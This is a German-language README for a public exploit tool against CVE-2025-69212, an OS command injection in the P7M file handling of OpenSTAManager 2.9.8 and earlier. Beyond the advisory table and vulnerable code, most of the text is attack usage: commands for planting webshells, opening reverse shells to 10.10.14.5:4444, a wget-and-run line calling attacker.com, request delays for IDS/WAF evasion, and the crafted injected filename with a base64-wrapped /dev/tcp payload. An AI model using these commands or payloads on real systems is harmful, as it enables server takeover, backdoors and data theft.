OpenSTAManager v2.9.8 und frühere Versionen enthalten eine kritische OS Command Injection-Schwachstelle in der Funktion zum Dekodieren von P7M-Dateien (signiertes XML).
OpenSTAManager <= 2.9.8 — OS-Befehlseinschleusung in der P7M-Dateiverarbeitung
| Feld | Details |
|---|---|
| CVE-ID | CVE-2025-69212 |
| Schweregrad | KRITISCH (CVSS 4.0: 9.4) |
| CWE | CWE-78: OS-Befehlseinschleusung |
| Betroffene Versionen | OpenSTAManager <= 2.9.8 |
| Anfällige Funktion | XML::decodeP7M() in src/Util/XML.php |
| Angriffsvektor | Böswilliger Dateiname in hochgeladenem ZIP-Archiv |
| Authentifizierung | Erforderlich (jeder Benutzer mit Importberechtigung für Rechnungen) |
| Auswirkung | Vollständige Remote-Codeausführung als Webserver-Benutzer |
OpenSTAManager v2.9.8 und frühere Versionen enthalten eine kritische OS-Befehlseinschleusung-Sicherheitslücke in der Funktion zum Decodieren von P7M-Dateien (signierte XML). Die Methode decodeP7M() in src/Util/XML.php übergibt benutzergesteuerte Dateinamen direkt an die PHP-Funktion exec() ohne Sanitisierung, sodass authentifizierte Angreifer beliebige Systembefehle auf dem Server ausführen können.
// src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$output_file = $directory.'/'.basename($file, '.p7m');
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}
Der Parameter $file – der aus Dateinamen innerhalb hochgeladener ZIP-Archive stammt – wird in doppelte Anführungszeichen gesetzt, aber niemals mit escapeshellarg() gesäubert. Ein Angreifer kann einen .p7m-Dateinamen erstellen, der den doppelten Anführungszeichenkontext verlässt und beliebige Shell-Befehle einschleust.
plugins/importFE_ZIP/actions.php:126 — Primärer Vektor bei der Verarbeitung von ZIP-Uploads mit elektronischen Rechnungenplugins/importFE/src/FatturaElettronica.php:56 — Konstruktor, der einzelne .p7m-Dateien verarbeitet| Funktion | Beschreibung |
|---|---|
--check | Überprüft, ob das Ziel verwundbar ist (erstellt und prüft eine Markierungsdatei) |
--webshell | Stellt eine PHP-Webshell mittels OS-Befehlseinschleusung bereit |
--rce | Interaktive Befehlsausführung über die bereitgestellte Webshell |
--reverse-shell | Löst eine Reverse Shell aus (Python, nc, nc-e-Methoden) |
--cmd | Blinde Befehlsausführung (Feuer-und-Vergiss) |
--shell-dir | Benutzerdefiniertes Webshell-Schreibverzeichnis |
--method | Auswahl der Reverse-Shell-Methode |
--proxy | HTTP-Proxy-Unterstützung (Burp Suite) |
--delay | Anforderungsdrosselung zur IDS/WAF-Umgehung |
| Auto-Erkennung | Automatische Erkennung der importFE_ZIP-Modul-/Plugin-IDs |
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests
# Login with credentials
python3 exploit.py -t http://target.com -u admin -p secret --check
# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check
# Auto-detect plugin and verify vulnerability
python3 exploit.py -t http://target.com -u admin -p secret --check
# With known module/plugin IDs
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23
# Deploy webshell to default directory (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# Custom directory and filename
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php
# Deploy webshell + interactive shell
python3 exploit.py -t http://target.com -u admin -p secret --rce
# With existing webshell from previous run
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce
# Bash reverse shell (default, very reliable)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444
# Python reverse shell
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python
# Netcat with mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc
# Netcat with -e flag
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e
# Execute a command (no output returned)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"
# Download and execute a payload
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"
# Through Burp Suite proxy
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080
# With request delay (2 seconds)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2
# Skip SSL verification
python3 exploit.py -t https://target.com -u admin -p secret --check -k
Target:
-t, --target Basis-URL des Ziels
Authentication:
-u, --user Benutzername für die Anmeldung
-p, --password Passwort für die Anmeldung
-c, --cookie Vorhandener PHPSESSID-Wert
Actions:
--check Überprüfen, ob das Ziel verwundbar ist
--webshell PHP-Webshell bereitstellen
--rce Interaktive Shell über Webshell
--reverse-shell Reverse Shell (LHOST LPORT)
--cmd COMMAND Blinde Befehlsausführung
Shell Options:
--shell-dir DIR Webshell-Schreibverzeichnis (Standard: files)
--shell-name NAME Benutzerdefinierter Webshell-Dateiname
--method METHOD Reverse-Shell-Methode: bash, python, nc, nc-e
Plugin Detection:
--module-id ID OpenSTAManager-Modul-ID
--plugin-id ID importFE_ZIP-Plugin-ID
Network:
--proxy URL HTTP-Proxy-URL
-k, --no-ssl-verify SSL-Überprüfung deaktivieren
--delay SECONDS Verzögerung zwischen Anfragen
Der Exploit erstellt ein ZIP-Archiv, das eine einzelne .p7m-Datei mit einem bösartigen Dateinamen enthält:
invoice.p7m";INJECTED_COMMAND;echo ".p7m
Wenn OpenSTAManager diese Datei verarbeitet, wird der resultierende exec()-Aufruf zu:
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."
Die Shell interpretiert die Semikolons als Befehlstrennzeichen und führt den eingeschleusten Befehl zwischen dem beendeten openssl-Aufruf und dem nachfolgenden echo aus.
Kritisch: PHP’s
ZipArchive::extractTo()behandelt Schrägstriche (/) in Dateinamen gemäß der ZIP-Spezifikation als Verzeichnistrennzeichen. Jedes/im bösartigen Dateinamen führt dazu, dass der Archiveintrag in Verzeichnisse aufgeteilt wird, wodurch die Exploit-Payload zerstört wird.
Alle eingeschleusten Befehle müssen / vollständig vermeiden. Um diese Einschränkung vollständig zu umgehen und zu verhindern, dass PHP exec() hängt (was Server-Arbeitsprozesse blockieren und Zeitüberschreitungen verursachen kann), verpackt der Exploit nun Payloads automatisch in Base64 und führt sie im Hintergrund aus:
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &
Dies erlaubt es uns, / innerhalb der inneren Payload (z. B. /dev/tcp/10.10.14.5/4444) auf natürliche Weise zu verwenden, ohne die ZIP-Struktur zu beschädigen.